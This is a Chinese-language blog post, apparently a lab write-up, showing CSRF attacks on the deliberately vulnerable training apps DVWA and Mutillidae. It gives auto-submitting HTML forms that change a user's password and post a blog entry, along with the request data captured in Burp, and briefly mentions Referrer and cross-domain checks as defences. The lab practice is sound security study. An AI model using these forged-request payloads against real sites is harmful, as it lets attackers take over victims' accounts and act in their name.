1. CSRF : cross-site request forgery attack, 主要是因为server 对于client
的request 没有做足够的检查,不允许cross-domain, 或者检查HTTP 的Referrer 都可以很大程度的减少这个危害。
2. 例子还是选择DVWA和Mutillidae ,DVWA 会简单一些。思路很简单,首先使用Burp 查看client 向server 端提交的data 都是什么。
设置DVWA的security level 是low, 首先利用DVWA的不检查user request 来修改用户的密码: 如下面的web page:
-
http://192.168.0.119/dvwa/vulnerabilities/csrf/
我构造了如下的html 文件.
-
<form id="csrf-form" action="" method="GET">
-
<input type="hidden" autocomplete="off" name="password_new" value="666666">
-
<input type="hidden" autocomplete="off" name="password_conf" value="666666">
-
<input type="hidden" name="Change" value="Change">
-
</form>
-
-
<script>
-
document.getElementById('csrf-form').submit();
-
</script>
直接在本机打开,就看到了页面提示,用户密码成功修改.
2. Mutillidae 的稍微复杂一些. 如下面的page. (security level 为0)
-
http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php
还是首先在页面上提交一下,用Burp 看看都提交了什么data.
-
csrf-token=SecurityIsDisabled&blog_entry=test&add-to-your-blog-php-submit-button=Save+Blog+Entry
利用这些data,我构造了一个html,
这里我碰到了一个问题, textarea
是没有value属性的,因此要么写成
-
<textarea>YOURDATA</text>
-
要么使用javascript来manipulate 这个data.
-
<form id="csrf-form" action="http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php" method="POST">
-
<input type="hidden" autocomplete="off" name="csrf-token" value="SecurityIsDisabled">
-
<textarea id="tt1" type="hidden" autocomplete="off" name="blog_entry"></textarea>
-
<input type="hidden" autocomplete="off" name="add-to-your-blog-php-submit-button" value="Save Blog Entry">
-
</form>
-
-
<script>
-
document.getElementById('tt1').value="This is achieved by CSRF";
-
document.getElementById('csrf-form').submit();
-
</script>
在本机打开,可以看到新生成的blog.
"This is achieved by CSRF"
3. 这次我没有尝试提升security level到medium (或者1),都是在最低的security level 下完成的。
阅读(1228) | 评论(0) | 转发(0) |